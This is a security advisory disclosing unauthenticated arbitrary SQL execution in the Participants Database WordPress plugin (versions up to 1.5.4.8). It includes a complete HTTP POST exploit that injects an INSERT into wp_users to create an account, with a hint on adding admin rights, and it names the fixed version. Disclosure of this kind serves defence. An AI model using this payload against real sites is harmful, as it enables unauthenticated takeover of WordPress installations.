Yarubo #1: Arbitrary SQL Execution in Participants Database for Wordpress ========================================================================= Program: Participants Database <= 1.5.4.8 Severity: Unauthenticated attacker can fully compromise the Wordpress installation Permalink: http://www.yarubo.com/advisories/1 Info Participants Database is a popular Wordpress plugin that offers the functionality needed to build and maintain a database of people. As of today the plugin has been downloaded 92,089 times. Vulnerability details 1. Due to insufficient privilege checks it is possible for anonymous (unauthenticated) users to trigger some administrative actions If any of the shortcodes is used (e.g. signup page). 2. The action "export CSV" takes a parameter called "query" that can contain an arbitrary SQL query. This means that an unauthenticated user can execute arbitrary SQL statements (e.g. create an admin user, read or write files, or execute code depending on the MySQL user privileges). Exploit Add a user to wordpress as follows (if you want an admin user, also add admin privileges to wp_usermeta): POST /wordpress/pdb-signup/ HTTP/1.1 Host: www.example.com Content-Length: 789 (&#166;) Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuoACADe1C2IFWMxN ------WebKitFormBoundaryuoACADe1C2IFWMxN Content-Disposition: form-data; name="action" output CSV ------WebKitFormBoundaryuoACADe1C2IFWMxN Content-Disposition: form-data; name="CSV_type" participant list ------WebKitFormBoundaryuoACADe1C2IFWMxN Content-Disposition: form-data; name="subsource" participants-database ------WebKitFormBoundaryuoACADe1C2IFWMxN Content-Disposition: form-data; name="query" INSERT INTO wp_users (ID,user_login,user_pass,user_nicename,user_email,user_registered,user_status,display_name) VALUES (31337,0x74657374,0x245024425a7a59615354486f41364b693355363576772f5461473861412f475a4b31,0x59617275626f,0x7465737440746573742e636f6d,0x323031342d31312d31312030303a30303a3030,0,0x59617275626f); ------WebKitFormBoundaryuoACADe1C2IFWMxN Solution This issue has been fixed in version 1.5.4.9. Download the newest version from: https://wordpress.org/plugins/participants-database/ Credit Yarubo Research Team research [at] yarubo.com Network Security Scan: http://www.yarubo.com/ Free Heartbleed Scan: http://www.yarubo.com/heartbleed